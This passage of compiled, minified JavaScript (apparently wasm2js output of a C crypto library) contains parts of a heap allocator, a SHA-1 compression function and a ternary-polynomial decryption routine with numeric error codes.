                                                    I: if (c) {
                                                        A = C[g + 28 >> 2];
                                                        g: {
                                                            if (C[(B = 3216 + (A << 2) | 0) >> 2] == (0 | g)) {
                                                                if (C[B >> 2] = E, E) break g;
                                                                C[729] = eA(-2, A) & t;
                                                                break I
                                                            }
                                                            if (C[c + (C[c + 16 >> 2] == (0 | g) ? 16 : 20) >> 2] = E, !E) break I
                                                        }
                                                        C[E + 24 >> 2] = c, (A = C[g + 16 >> 2]) && (C[E + 16 >> 2] = A, C[A + 24 >> 2] = E), (A = C[g + 20 >> 2]) && (C[E + 20 >> 2] = A, C[A + 24 >> 2] = E)
                                                    }Q >>> 0 <= 15 ? (A = Q + o | 0, C[g + 4 >> 2] = 3 | A, C[(A = A + g | 0) + 4 >> 2] = 1 | C[A + 4 >> 2]) : (C[g + 4 >> 2] = 3 | o, C[(o = g + o | 0) + 4 >> 2] = 1 | Q, C[Q + o >> 2] = Q, e && (A = 2952 + ((B = e >>> 3 | 0) << 3) | 0, E = C[733], (B = 1 << B) & i ? B = C[A + 8 >> 2] : (C[728] = B | i, B = A), C[A + 8 >> 2] = E, C[B + 12 >> 2] = E, C[E + 12 >> 2] = A, C[E + 8 >> 2] = B), C[733] = o, C[730] = Q),
                                                    A = g + 8 | 0
                                                }
                                                return D = I + 16 | 0, 0 | A
                                            }
            
                                            function s(A, I) {
                                                var g, B, Q, E, i, n, o, r, a, e, c, t, f, D, y, d, s, F, N, u, k, w, G, R, H, h, M, q, l, S, p, U, b, L, J, Y, m, X, z, x, v, W, Z, V, K, O, _, j, T, P, $, AA, IA, gA = 0,
                                                    BA = 0,
                                                    QA = 0,
                                                    EA = 0,
                                                    iA = 0,
                                                    CA = 0,
                                                    nA = 0,
                                                    oA = 0,
                                                    rA = 0,
                                                    aA = 0,
                                                    cA = 0,
                                                    tA = 0,
                                                    fA = 0,
                                                    DA = 0,
                                                    yA = 0,
                                                    dA = 0,
                                                    sA = 0,
                                                    FA = 0,
                                                    NA = 0,
                                                    uA = 0,
                                                    kA = 0,
                                                    wA = 0,
                                                    GA = 0,
                                                    RA = 0,
                                                    HA = 0;
                                                gA = eA((rA = C[A + 52 >> 2]) ^ (DA = C[A + 32 >> 2]) ^ (cA = C[A + 8 >> 2]) ^ (GA = C[A >> 2]), 1), QA = eA(gA ^ (FA = C[A + 44 >> 2]) ^ (HA = C[A + 20 >> 2]) ^ (NA = C[A + 12 >> 2]), 1), iA = eA((tA = C[A + 56 >> 2]) ^ (yA = C[A + 36 >> 2]) ^ (aA = C[A + 4 >> 2]) ^ NA, 1), wA = eA(QA ^ tA ^ (Z = C[A + 24 >> 2]) ^ DA, 1), BA = eA(wA ^ iA ^ yA ^ FA, 1), EA = eA((kA = C[A + 60 >> 2]) ^ (RA = C[A + 40 >> 2]) ^ (V = C[A + 16 >> 2]) ^ cA, 1), g = eA(EA ^ rA ^ HA ^ (K = C[A + 28 >> 2]), 1), B = eA(g ^ gA ^ DA ^ RA, 1), Q = eA(B ^ QA ^ rA ^ FA, 1), E = eA(Q ^ wA ^ gA ^ tA, 1), CA = eA(E ^ BA ^ QA ^ iA, 1), i = eA(iA ^ (X = C[A + 48 >> 2]) ^ Z ^ V, 1), A = eA(i ^ kA ^ yA ^ K, 1), n = eA(BA ^ i ^ tA ^ X, 1), oA = eA(n ^ iA ^ kA ^ A, 1), o = eA(wA ^ i ^ n ^ CA, 1), dA = eA(o ^ A ^ BA ^ oA, 1), r = eA(EA ^ RA ^ X ^ A, 1), a = eA(r ^ rA ^ kA ^ g, 1), e = eA(a ^ gA ^ EA ^ B, 1), c = eA(e ^ QA ^ g ^ Q, 1), t = eA(c ^ wA ^ B ^ E, 1), f = eA(t ^ BA ^ Q ^ CA, 1), D = eA(f ^ E ^ n ^ o, 1), uA = eA(D ^ CA ^ oA ^ dA, 1), y = eA(EA ^ i ^ r ^ oA, 1), d = eA(y ^ A ^ g ^ a, 1), s = eA(n ^ r ^ y ^ dA, 1), F = eA(s ^ oA ^ a ^ d, 1), N = eA(o ^ y ^ s ^ uA, 1), u = eA(N ^ dA ^ d ^ F, 1), k = eA(B ^ r ^ e ^ d, 1), w = eA(k ^ Q ^ a ^ c, 1), G = eA(w ^ E ^ e ^ t, 1), R = eA(G ^ CA ^ c ^ f, 1), H = eA(R ^ o ^ t ^ D, 1), h = eA(H ^ dA ^ f ^ uA, 1), M = eA(h ^ D ^ s ^ N, 1), q = eA(M ^ uA ^ F ^ u, 1), l = eA(e ^ y ^ k ^ F, 1), S = eA(l ^ d ^ c ^ w, 1), p = eA(s ^ k ^ l ^ u, 1), U = eA(p ^ F ^ w ^ S, 1), z = eA(N ^ l ^ p ^ q, 1), O = eA(z ^ u ^ S ^ U, 1), b = eA(t ^ k ^ G ^ S, 1), L = eA(b ^ f ^ w ^ R, 1), J = eA(L ^ D ^ G ^ H, 1), Y = eA(J ^ uA ^ R ^ h, 1), _ = eA(Y ^ N ^ H ^ M, 1), j = eA(_ ^ u ^ h ^ q, 1), $ = eA(j ^ M ^ p ^ z, 1), AA = eA($ ^ q ^ U ^ O, 1), m = eA(G ^ l ^ b ^ U, 1), T = eA(m ^ p ^ b ^ O, 1), x = eA(S ^ R ^ L ^ m, 1), nA = GA + ((IA = C[I + 16 >> 2]) + eA(v = C[I >> 2], 5) | 0) | 0, fA = eA(sA = 1518500249 + (nA + ((W = C[I + 12 >> 2]) ^ (P = C[I + 4 >> 2]) & ((GA = C[I + 8 >> 2]) ^ W)) | 0) | 0, 30), aA = 1518500249 + ((aA + ((GA ^ ((nA = eA(P, 30)) ^ GA) & v) + W | 0) | 0) + eA(sA, 5) | 0) | 0, sA = 1518500249 + (((cA + GA | 0) + (nA ^ sA & ((cA = eA(v, 30)) ^ nA)) | 0) + eA(aA, 5) | 0) | 0, NA = 1518500249 + (eA(sA, 5) + ((nA + NA | 0) + (cA ^ aA & (fA ^ cA)) | 0) | 0) | 0, nA = eA(sA, 30), cA = 1518500249 + (((cA + V | 0) + (fA ^ sA & ((aA = eA(aA, 30)) ^ fA)) | 0) + eA(NA, 5) | 0) | 0, HA = 1518500249 + (eA(cA, 5) + ((fA + HA | 0) + (aA ^ (nA ^ aA) & NA) | 0) | 0) | 0, fA = eA(HA, 30), sA = 1518500249 + (((sA = aA + Z | 0) + (nA ^ cA & ((aA = eA(NA, 30)) ^ nA)) | 0) + eA(HA, 5) | 0) | 0, NA = 1518500249 + (((nA + K | 0) + (aA ^ HA & ((cA = eA(cA, 30)) ^ aA)) | 0) + eA(sA, 5) | 0) | 0, DA = 1518500249 + (eA(NA, 5) + ((aA + DA | 0) + (cA ^ sA & (fA ^ cA)) | 0) | 0) | 0, nA = eA(NA, 30), aA = 1518500249 + (((aA = cA + yA | 0) + (fA ^ NA & ((yA = eA(sA, 30)) ^ fA)) | 0) + eA(DA, 5) | 0) | 0, RA = 1518500249 + (eA(aA, 5) + ((fA + RA | 0) + (yA ^ DA & (nA ^ yA)) | 0) | 0) | 0, fA = eA(RA, 30), FA = 1518500249 + (((yA + FA | 0) + (nA ^ aA & ((DA = eA(DA, 30)) ^ nA)) | 0) + eA(RA, 5) | 0) | 0, yA = 1518500249 + (((cA = nA + X | 0) + (DA ^ RA & ((nA = eA(aA, 30)) ^ DA)) | 0) + eA(FA, 5) | 0) | 0, DA = 1518500249 + (eA(yA, 5) + ((rA + DA | 0) + (nA ^ FA & (nA ^ fA)) | 0) | 0) | 0, rA = eA(yA, 30), FA = 1518500249 + (((aA = nA + tA | 0) + (fA ^ yA & ((nA = eA(FA, 30)) ^ fA)) | 0) + eA(DA, 5) | 0) | 0, yA = 1518500249 + (eA(FA, 5) + ((fA + kA | 0) + (nA ^ DA & (nA ^ rA)) | 0) | 0) | 0, tA = eA(yA, 30), kA = eA(FA, 30), fA = 1518500249 + (((nA = gA + nA | 0) + (rA ^ FA & ((gA = eA(DA, 30)) ^ rA)) | 0) + eA(yA, 5) | 0) | 0, rA = 1518500249 + (eA(fA, 5) + ((iA + rA | 0) + (gA ^ yA & (gA ^ kA)) | 0) | 0) | 0, iA = eA(rA, 30), QA = (QA + kA | 0) + (tA ^ rA & ((nA = eA(fA, 30)) ^ tA)) | 0, rA = 1518500249 + (eA(rA, 5) + ((gA + EA | 0) + (kA ^ fA & (tA ^ kA)) | 0) | 0) | 0, gA = 1518500249 + (QA + eA(rA, 5) | 0) | 0, tA = 1859775393 + (eA(gA, 5) + ((tA + i | 0) + (rA ^ iA ^ nA) | 0) | 0) | 0, QA = eA(tA, 30), EA = eA(gA, 30), gA = 1859775393 + (((nA + g | 0) + (gA ^ (rA = eA(rA, 30)) ^ iA) | 0) + eA(tA, 5) | 0) | 0, tA = 1859775393 + (eA(gA, 5) + ((iA + wA | 0) + (tA ^ EA ^ rA) | 0) | 0) | 0, iA = eA(tA, 30), nA = (EA + B | 0) + (tA ^ (wA = eA(gA, 30)) ^ QA) | 0, EA = 1859775393 + (eA(tA, 5) + ((A + rA | 0) + (gA ^ QA ^ EA) | 0) | 0) | 0, A = 1859775393 + (nA + eA(EA, 5) | 0) | 0, BA = 1859775393 + (eA(A, 5) + ((QA + BA | 0) + (EA ^ iA ^ wA) | 0) | 0) | 0, gA = eA(BA, 30), QA = eA(A, 30), A = 1859775393 + (((wA + r | 0) + (A ^ (EA = eA(EA, 30)) ^ iA) | 0) + eA(BA, 5) | 0) | 0, BA = 1859775393 + (eA(A, 5) + ((iA + Q | 0) + (BA ^ QA ^ EA) | 0) | 0) | 0, iA = eA(BA, 30), nA = (QA + a | 0) + (BA ^ (rA = eA(A, 30)) ^ gA) | 0, BA = 1859775393 + (eA(BA, 5) + ((EA + n | 0) + (A ^ gA ^ QA) | 0) | 0) | 0, A = 1859775393 + (nA + eA(BA, 5) | 0) | 0, EA = 1859775393 + (eA(A, 5) + ((gA + E | 0) + (BA ^ iA ^ rA) | 0) | 0) | 0, gA = eA(EA, 30), QA = eA(A, 30), A = 1859775393 + (((rA + oA | 0) + (A ^ (BA = eA(BA, 30)) ^ iA) | 0) + eA(EA, 5) | 0) | 0, EA = 1859775393 + (eA(A, 5) + ((iA + e | 0) + (EA ^ QA ^ BA) | 0) | 0) | 0, iA = eA(EA, 30), nA = (QA + y | 0) + (EA ^ (oA = eA(A, 30)) ^ gA) | 0, QA = 1859775393 + (eA(EA, 5) + ((BA + CA | 0) + (A ^ gA ^ QA) | 0) | 0) | 0, A = 1859775393 + (nA + eA(QA, 5) | 0) | 0, gA = 1859775393 + (eA(A, 5) + ((gA + c | 0) + (QA ^ iA ^ oA) | 0) | 0) | 0, BA = eA(gA, 30), QA = 1859775393 + (((oA + o | 0) + (A ^ (EA = eA(QA, 30)) ^ iA) | 0) + eA(gA, 5) | 0) | 0, iA = 1859775393 + (((iA + d | 0) + (gA ^ (CA = eA(A, 30)) ^ EA) | 0) + eA(QA, 5) | 0) | 0, A = 1859775393 + (eA(iA, 5) + ((EA + t | 0) + (QA ^ BA ^ CA) | 0) | 0) | 0, gA = eA(iA, 30), QA = 1859775393 + (((oA = CA + dA | 0) + (iA ^ (CA = eA(QA, 30)) ^ BA) | 0) + eA(A, 5) | 0) | 0, BA = (eA(QA, 5) + ((BA + k | 0) + (CA & (A | gA) | A & gA) | 0) | 0) - 1894007588 | 0, iA = eA(BA, 30), oA = (gA + s | 0) + ((A = eA(A, 30)) & ((EA = eA(QA, 30)) | BA) | BA & EA) | 0, BA = (eA(BA, 5) + ((CA + f | 0) + (gA & (A | QA) | A & QA) | 0) | 0) - 1894007588 | 0, gA = (oA + eA(BA, 5) | 0) - 1894007588 | 0, A = (eA(gA, 5) + ((A + w | 0) + (EA & (BA | iA) | BA & iA) | 0) | 0) - 1894007588 | 0, QA = eA(gA, 30), gA = (((EA + D | 0) + (iA & ((BA = eA(BA, 30)) | gA) | gA & BA) | 0) + eA(A, 5) | 0) - 1894007588 | 0, EA = (eA(gA, 5) + ((iA + F | 0) + (BA & (A | QA) | A & QA) | 0) | 0) - 1894007588 | 0, iA = eA(EA, 30), A = eA(A, 30), CA = eA(gA, 30), BA = (eA(EA, 5) + ((BA + G | 0) + (QA & (A | gA) | A & gA) | 0) | 0) - 1894007588 | 0, gA = (((QA + uA | 0) + (A & (CA | EA) | EA & CA) | 0) + eA(BA, 5) | 0) - 1894007588 | 0, A = (eA(gA, 5) + ((A + l | 0) + (CA & (BA | iA) | BA & iA) | 0) | 0) - 1894007588 | 0, QA = eA(gA, 30), gA = (((CA + R | 0) + (iA & ((BA = eA(BA, 30)) | gA) | gA & BA) | 0) + eA(A, 5) | 0) - 1894007588 | 0, EA = (eA(gA, 5) + ((iA + N | 0) + (BA & (A | QA) | A & QA) | 0) | 0) - 1894007588 | 0, iA = eA(EA, 30), A = eA(A, 30), CA = eA(gA, 30), BA = (eA(EA, 5) + ((BA + S | 0) + (QA & (A | gA) | A & gA) | 0) | 0) - 1894007588 | 0, gA = (((QA + H | 0) + (A & (CA | EA) | EA & CA) | 0) + eA(BA, 5) | 0) - 1894007588 | 0, A = (eA(gA, 5) + ((A + u | 0) + (CA & (BA | iA) | BA & iA) | 0) | 0) - 1894007588 | 0, QA = eA(gA, 30), gA = (((CA + b | 0) + (iA & ((BA = eA(BA, 30)) | gA) | gA & BA) | 0) + eA(A, 5) | 0) - 1894007588 | 0, EA = (eA(gA, 5) + ((iA + h | 0) + (BA & (A | QA) | A & QA) | 0) | 0) - 1894007588 | 0, iA = eA(EA, 30), A = eA(A, 30), CA = eA(gA, 30), gA = (eA(EA, 5) + ((BA + p | 0) + (QA & (A | gA) | A & gA) | 0) | 0) - 1894007588 | 0, QA = (((QA + L | 0) + (A & (CA | EA) | EA & CA) | 0) + eA(gA, 5) | 0) - 1894007588 | 0, BA = eA(QA, 30), oA = (CA + U | 0) + (iA & ((EA = eA(gA, 30)) | QA) | QA & EA) | 0, CA = (eA(QA, 5) + ((A + M | 0) + (CA & (gA | iA) | gA & iA) | 0) | 0) - 1894007588 | 0, A = (oA + eA(CA, 5) | 0) - 1894007588 | 0, iA = (eA(A, 5) + ((iA + J | 0) + (CA ^ BA ^ EA) | 0) | 0) - 899497514 | 0, gA = eA(iA, 30), QA = eA(A, 30), A = (((oA = EA + q | 0) + (A ^ (EA = eA(CA, 30)) ^ BA) | 0) + eA(iA, 5) | 0) - 899497514 | 0, BA = (eA(A, 5) + ((BA + m | 0) + (iA ^ QA ^ EA) | 0) | 0) - 899497514 | 0, iA = eA(BA, 30), oA = (QA + z | 0) + (BA ^ (CA = eA(A, 30)) ^ gA) | 0, BA = (eA(BA, 5) + ((EA + Y | 0) + (A ^ gA ^ QA) | 0) | 0) - 899497514 | 0, A = (oA + eA(BA, 5) | 0) - 899497514 | 0, EA = (eA(A, 5) + ((gA + x | 0) + (BA ^ iA ^ CA) | 0) | 0) - 899497514 | 0, gA = eA(EA, 30), QA = eA(A, 30), A = (((CA + _ | 0) + (A ^ (BA = eA(BA, 30)) ^ iA) | 0) + eA(EA, 5) | 0) - 899497514 | 0, EA = (eA(A, 5) + ((iA + O | 0) + (EA ^ QA ^ BA) | 0) | 0) - 899497514 | 0, iA = eA(EA, 30), dA = (QA + j | 0) + (EA ^ (CA = eA(A, 30)) ^ gA) | 0, QA = ((((oA = BA) + (BA = eA(H ^ b ^ J ^ x, 1)) | 0) + (A ^ gA ^ QA) | 0) + eA(EA, 5) | 0) - 899497514 | 0, A = (dA + eA(QA, 5) | 0) - 899497514 | 0, gA = (eA(A, 5) + ((gA + T | 0) + (QA ^ iA ^ CA) | 0) | 0) - 899497514 | 0, EA = eA(gA, 30), oA = eA(A, 30), QA = eA(QA, 30), A = ((((dA = CA) + (CA = eA(BA ^ h ^ L ^ Y, 1)) | 0) + (A ^ QA ^ iA) | 0) + eA(gA, 5) | 0) - 899497514 | 0, gA = (((iA + $ | 0) + (gA ^ oA ^ QA) | 0) + eA(A, 5) | 0) - 899497514 | 0, iA = eA(gA, 30), dA = eA(A, 30), A = ((((uA = eA(U ^ L ^ x ^ T, 1)) + QA | 0) + (A ^ EA ^ oA) | 0) + eA(gA, 5) | 0) - 899497514 | 0, gA = ((((nA = oA) + (oA = eA(CA ^ M ^ J ^ _, 1)) | 0) + (gA ^ EA ^ dA) | 0) + eA(A, 5) | 0) - 899497514 | 0, QA = (((EA + AA | 0) + (iA ^ dA ^ A) | 0) + eA(gA, 5) | 0) - 899497514 | 0, EA = eA(QA, 30), C[I + 16 >> 2] = EA + IA, BA = ((((nA = dA) + (dA = eA(uA ^ BA ^ J ^ m, 1)) | 0) + (gA ^ (A = eA(A, 30)) ^ iA) | 0) + eA(QA, 5) | 0) - 899497514 | 0, uA = eA(BA, 30), C[I + 12 >> 2] = uA + W, QA = (((oA = eA(oA ^ q ^ Y ^ j, 1) + iA | 0) + (QA ^ (gA = eA(gA, 30)) ^ A) | 0) + eA(BA, 5) | 0) - 899497514 | 0, C[I + 8 >> 2] = eA(QA, 30) + GA, A = (((eA(m ^ z ^ T ^ AA, 1) + A | 0) + (BA ^ gA ^ EA) | 0) + eA(QA, 5) | 0) - 899497514 | 0, C[I + 4 >> 2] = A + P, C[I >> 2] = (((gA + (eA(dA ^ CA ^ Y ^ x, 1) + v | 0) | 0) + (QA ^ EA ^ uA) | 0) + eA(A, 5) | 0) - 899497514
                                            }
            
                                            function F(A, I, g, B, Q, r) {
                                                var e, c = 0,
                                                    t = 0,
                                                    f = 0,
                                                    y = 0,
                                                    s = 0,
                                                    F = 0,
                                                    u = 0,
                                                    k = 0,
                                                    w = 0,
                                                    G = 0,
                                                    R = 0,
                                                    h = 0,
                                                    q = 0,
                                                    l = 0,
                                                    U = 0,
                                                    b = 0,
                                                    J = 0;
                                                D = e = D - 32 | 0, C[e + 28 >> 2] = 0, C[e + 24 >> 2] = 0, C[e + 20 >> 2] = 0, E[e + 19 | 0] = 0, E[e + 18 | 0] = 0, c = 12290;
                                                A: if (!(!I | !Q))
                                                    if (A)
                                                        if (S(0, A, I, e + 18 | 0, e + 19 | 0, e + 28 | 0, e + 20 | 0, e + 24 | 0)) {
                                                            I: if (A = C[e + 28 >> 2], !(((I = n[A + 22 | 0]) + -9 & 255) >>> 0 > 6 | (n[A + 12 | 0] + -9 & 255) >>> 0 > 6 | 1 != n[e + 18 | 0] | 2 != (254 & n[e + 19 | 0]))) {
                                                                if (!r) {
                                                                    i[Q >> 1] = o[A + 30 >> 1], c = 0;
                                                                    break A
                                                                }
                                                                if (!B) break A;
                                                                if (c = 12291, A = o[A + 14 >> 1], (a(A, I) + 7 >>> 3 | 0) != (0 | g)) break A;
                                                                if (yA(A, e + 16 | 0, e + 14 | 0), I = C[e + 28 >> 2], y = C[I + 24 >> 2], n[I + 23 | 0] ? (A = o[e + 16 >> 1] + 1 | 0, i[e + 16 >> 1] = A, y = (R = y >>> 16 & 255) + ((h = y >>> 8 & 255) + (q = 255 & y) | 0) | 0) : A = o[e + 16 >> 1], c = A, A = o[e + 14 >> 1], !(t = d(((c = (65535 & a(c, A)) << 1) + o[I + 30 >> 1] | 0) + (A + y << 2) | 0))) {
                                                                    c = 12296;
                                                                    break A
                                                                }
                                                                k = o[I + 14 >> 1], l = 20;
                                                                g: {
                                                                    B: {
                                                                        Q: switch ((w = C[I + 40 >> 2]) + -1 | 0) {
                                                                            case 1:
                                                                                break B;
                                                                            case 0:
                                                                                break g;
                                                                            default:
                                                                                break Q
                                                                        }
                                                                        N(t);
                                                                        break I
                                                                    }
                                                                    l = 32,
                                                                    w = 2
                                                                }
                                                                s = (u = (f = c + t | 0) + (A <<= 1) | 0) + A | 0, c = o[I + 20 >> 1], V(g, B, n[I + 22 | 0], u), F = (c >>> 0) % 3 | 0;
                                                                g: {
                                                                    B: switch (n[e + 19 | 0] + -2 | 0) {
                                                                        case 1:
                                                                            ! function(A, I, g, B) {
                                                                                var Q, E = 0,
                                                                                    C = 0;
                                                                                D = Q = D - 16 | 0;
                                                                                for (;;) {
                                                                                    Q: {
                                                                                        if ((65535 & I) >>> 0 >= 5)
                                                                                            for (EA(n[0 | A], Q + 11 | 0), E = 0;;) {
                                                                                                if (5 == (0 | E)) break Q;
                                                                                                E: {
                                                                                                    i: switch (n[(Q + 11 | 0) + E | 0] + -1 | 0) {
                                                                                                        case 0:
                                                                                                            i[g >> 1] = C, g = g + 2 | 0;
                                                                                                            break E;
                                                                                                        case 1:
                                                                                                            break i;
                                                                                                        default:
                                                                                                            break E
                                                                                                    }
                                                                                                    i[B >> 1] = C,
                                                                                                    B = B + 2 | 0
                                                                                                }
                                                                                                C = C + 1 | 0, E = E + 1 | 0
                                                                                            }
                                                                                        E: if (I &= 65535)
                                                                                            for (EA(n[0 | A], Q + 11 | 0), A = I >>> 0 < 5 ? I : 5, E = 0;;) {
                                                                                                if ((0 | A) == (0 | E)) break E;
                                                                                                i: {
                                                                                                    C: switch (n[(Q + 11 | 0) + E | 0] + -1 | 0) {
                                                                                                        case 0:
                                                                                                            i[g >> 1] = C, g = g + 2 | 0;
                                                                                                            break i;
                                                                                                        case 1:
                                                                                                            break C;
                                                                                                        default:
                                                                                                            break i
                                                                                                    }
                                                                                                    i[B >> 1] = C,
                                                                                                    B = B + 2 | 0
                                                                                                }
                                                                                                C = C + 1 | 0, E = E + 1 | 0
                                                                                            }
                                                                                        return void(D = Q + 16 | 0)
                                                                                    }
                                                                                    I = I + -5 | 0,
                                                                                    A = A + 1 | 0
                                                                                }
                                                                            }(C[e + 24 >> 2], o[C[e + 28 >> 2] + 14 >> 1], s, (y << 1) + s | 0);
                                                                            break g;
                                                                        case 0:
                                                                            break B;
                                                                        default:
                                                                            break g
                                                                    }
                                                                    A = n[C[e + 28 >> 2] + 12 | 0],
                                                                    V(a(A, y << 1 & 131070) + 7 >>> 3 & 65535, C[e + 24 >> 2], A, s)
                                                                }
                                                                for (I = y << 2, A = C[e + 28 >> 2], n[A + 23 | 0] ? Y(u, q, h, R, s, o[A + 14 >> 1], o[A + 20 >> 1], t, f) : M(u, g = 65535 & y, g, s, o[A + 14 >> 1], o[A + 20 >> 1], t, f), G = I + s | 0, k = f + k | 0, g = c + -1 | 0, c = 0, A = C[e + 28 >> 2]; c >>> 0 < (I = o[A + 14 >> 1]) >>> 0;) B = (I = c << 1) + f | 0, I = g & o[I + u >> 1] + a(o[B >> 1], 3), i[B >> 1] = I, (65535 & I) >>> 0 >= o[A + 20 >> 1] >>> 1 >>> 0 && (I = I - F | 0, i[B >> 1] = I), E[c + f | 0] = ((65535 & I) >>> 0) % 3, c = c + 1 | 0;
                                                                for (c = 0, F = K(I, f, o[A + 32 >> 1]), A = C[e + 28 >> 2]; c >>> 0 < (I = o[A + 14 >> 1]) >>> 0;) {
                                                                    I = 65535;
                                                                    g: switch (n[c + f | 0] + -1 | 0) {
                                                                        case 1:
                                                                            I = 1;
                                                                        case 0:
                                                                            i[(B = (c << 1) + u | 0) >> 1] = g & o[B >> 1] + I;
                                                                            break;
                                                                        default:
                                                                            break g
                                                                    }
                                                                    c = c + 1 | 0
                                                                }
                                                                if (T(I, u, t), c = 0, I = C[e + 28 >> 2], A = o[I + 14 >> 1], B = L(w, l, n[I + 39 | 0], A + 3 >>> 2 | 0, t, A + t | 0, A, t)) I = 0 != (0 | F);
                                                                else {
                                                                    for (I = C[e + 28 >> 2]; c >>> 0 < (A = o[I + 14 >> 1]) >>> 0;) A = n[0 | (g = c + f | 0)] - n[c + t | 0] | 0, E[0 | g] = (255 & A) >>> 0 > 2 ? A + 3 | 0 : A, c = c + 1 | 0;
                                                                    for (U = 0 != (0 | F) & 0 != (0 | function(A, I, g) {
                                                                            var B = 0,
                                                                                Q = 0,
                                                                                i = 0,
                                                                                C = 0,
                                                                                o = 0,
                                                                                r = 0,
                                                                                e = 0,
                                                                                c = 0,
                                                                                t = 0,
                                                                                f = 0,
                                                                                D = 0,
                                                                                y = 0,
                                                                                d = 0,
                                                                                s = 0;
                                                                            i = 1, c = 21;
                                                                            for (;;) {
                                                                                if (I >>> 0 < 16) {
                                                                                    for (; I;) B = a(n[0 | A], 3), 1 != (0 | I) ? (I = I + -2 | 0, B = n[A + 1 | 0] + B | 0, A = A + 2 | 0) : (I = 0, A = A + 1 | 0), i = (Q = B >>> 0 > 7) ? 0 : i, r |= (Q ? 7 : B) << c, c = c + -3 | 0;
                                                                                    E[g + 2 | 0] = r, E[g + 1 | 0] = r >>> 8, E[0 | g] = r >>> 16, A = 255 & i;
                                                                                    break
                                                                                }
                                                                                C = n[A + 15 | 0], o = n[A + 14 | 0], e = n[A + 13 | 0], s = n[A + 12 | 0], B = n[A + 3 | 0] + a(n[A + 2 | 0], 3) | 0, Q = n[A + 1 | 0] + a(n[0 | A], 3) | 0, t = n[A + 5 | 0] + a(n[A + 4 | 0], 3) | 0, f = n[A + 7 | 0] + a(n[A + 6 | 0], 3) | 0, D = n[A + 9 | 0] + a(n[A + 8 | 0], 3) | 0, y = n[A + 11 | 0] + a(n[A + 10 | 0], 3) | 0, d = (B >>> 0 < 7 ? B : 7) << 18 | (Q >>> 0 > 7 ? 14680064 : Q << 21) | (t >>> 0 > 7 ? 229376 : t << 15) | (f >>> 0 < 7 ? f : 7) << 12 | (D >>> 0 > 7 ? 3584 : D << 9) | (y >>> 0 < 7 ? y : 7) << 6, E[0 | g] = d >>> 16, C = C + a(o, 3) | 0, o = e + a(s, 3) | 0, e = (o >>> 0 > 7 ? 56 : o << 3) | d, E[g + 2 | 0] = (C >>> 0 < 7 ? C : 7) | e, E[g + 1 | 0] = e >>> 8, i = 2040 & (C | o | B | Q | t | f | D | y) ? 0 : i, g = g + 3 | 0, I = I + -16 | 0, A = A + 16 | 0
                                                                            }
                                                                            return A
                                                                        }(f, A, k)), g = C[e + 28 >> 2], A = k + o[g + 18 >> 1] | 0, 2 == n[g + 37 | 0] ? (c = A + 1 | 0, A = n[0 | A] << 8) : (c = A, A = 0), A |= n[0 | c], G = H(G, c = c + 1 | 0, A = 65535 & (F = (I = 65535 & A) >>> 0 > (B = o[g + 30 >> 1]) >>> 0 ? B : A)), b = A + c | 0, J = 1 + (o[g + 30 >> 1] - F | 0) & 65535, I = I >>> 0 <= B >>> 0 & U, c = 0;
                                                                        (0 | c) != (0 | J);) I = n[c + b | 0] ? 0 : I, c = c + 1 | 0;
                                                                    if (B = n[g + 8 | 0] | n[g + 9 | 0] << 8, E[0 | t] = B, E[t + 1 | 0] = B >>> 8, E[t + 2 | 0] = n[g + 10 | 0], B = H(H(H(t + 3 | 0, G, A) + A | 0, k, o[g + 18 >> 1]) + o[g + 18 >> 1] | 0, C[e + 20 >> 2], o[g + 16 >> 1]), !(B = p(w, l, n[g + 38 | 0], (B + o[g + 16 >> 1] | 0) - t & 65535, t, t, o[g + 14 >> 1], n[g + 36 | 0], o[g + 34 >> 1], n[g + 23 | 0], C[g + 24 >> 2] << 1, s))) {
                                                                        for (B = C[e + 28 >> 2], g = n[B + 22 | 0], V(a(g, o[B + 14 >> 1]) + 7 >>> 3 & 65535, C[e + 20 >> 2], g, f), g = C[e + 28 >> 2], n[g + 23 | 0] ? Y(f, q, h, R, s, o[g + 14 >> 1], o[g + 20 >> 1], t, f) : M(f, B = 65535 & y, B, s, o[g + 14 >> 1], o[g + 20 >> 1], t, f), g = o[C[e + 28 >> 2] + 14 >> 1], c = 0;
                                                                            (0 | g) != (0 | c);) B = I, I = o[(I = c << 1) + f >> 1] == o[I + u >> 1] ? B : 0, c = c + 1 | 0;
                                                                        if (255 & I) {
                                                                            if (o[Q >> 1] < (65535 & F) >>> 0) {
                                                                                N(t), c = 12292;
                                                                                break A
                                                                            }
                                                                            H(r, G, A), i[Q >> 1] = F, I = 1, B = 0
                                                                        } else B = 0, I = 0
                                                                    }
                                                                }
                                                                N(t), c = 255 & I ? B : 12289;
                                                                break A
                                                            }c = 12299
                                                        }
                                                else c = 12295;
                                                else c = 12291;
                                                return D = e + 32 | 0, c
                                            }
            
                                            function N(A) {
                                                var I = 0,
                                                    g = 0,
                                                    B = 0,
                                                    Q = 0,
                                                    E = 0,
                                                    i = 0,
                                                    n = 0;
                                                A: if (A |= 0) {
                                                    E = (B = A + -8 | 0) + (A = -8 & (g = C[A + -4 >> 2])) | 0;
                                                    I: if (!(1 & g)) {
                                                        if (!(3 & g)) break A;
                                                        if ((B = B - (g = C[B >> 2]) | 0) >>> 0 < r[732]) break A;
                                                        if (A = A + g | 0, C[733] == (0 | B)) {
                                                            if (3 == (3 & (g = C[E + 4 >> 2]))) return C[730] = A, C[E + 4 >> 2] = -2 & g, C[B + 4 >> 2] = 1 | A, void(C[A + B >> 2] = A)
                                                        } else {
                                                            if (g >>> 0 <= 255) {
                                                                if (Q = C[B + 8 >> 2], g = g >>> 3 | 0, (0 | (I = C[B + 12 >> 2])) == (0 | Q)) {
                                                                    C[728] = C[728] & eA(-2, g);
                                                                    break I
                                                                }
                                                                C[Q + 12 >> 2] = I, C[I + 8 >> 2] = Q;
                                                                break I
                                                            }
                                                            if (n = C[B + 24 >> 2], (0 | B) == (0 | (g = C[B + 12 >> 2])))
                                                                if ((I = C[(Q = B + 20 | 0) >> 2]) || (I = C[(Q = B + 16 | 0) >> 2])) {
                                                                    for (; i = Q, (I = C[(Q = (g = I) + 20 | 0) >> 2]) || (Q = g + 16 | 0, I = C[g + 16 >> 2]););
                                                                    C[i >> 2] = 0
                                                                } else g = 0;
                                                            else I = C[B + 8 >> 2], C[I + 12 >> 2] = g, C[g + 8 >> 2] = I;
                                                            if (!n) break I;
                                                            Q = C[B + 28 >> 2];
                                                            g: {
                                                                if (C[(I = 3216 + (Q << 2) | 0) >> 2] == (0 | B)) {
                                                                    if (C[I >> 2] = g, g) break g;
                                                                    C[729] = C[729] & eA(-2, Q);
                                                                    break I
                                                                }
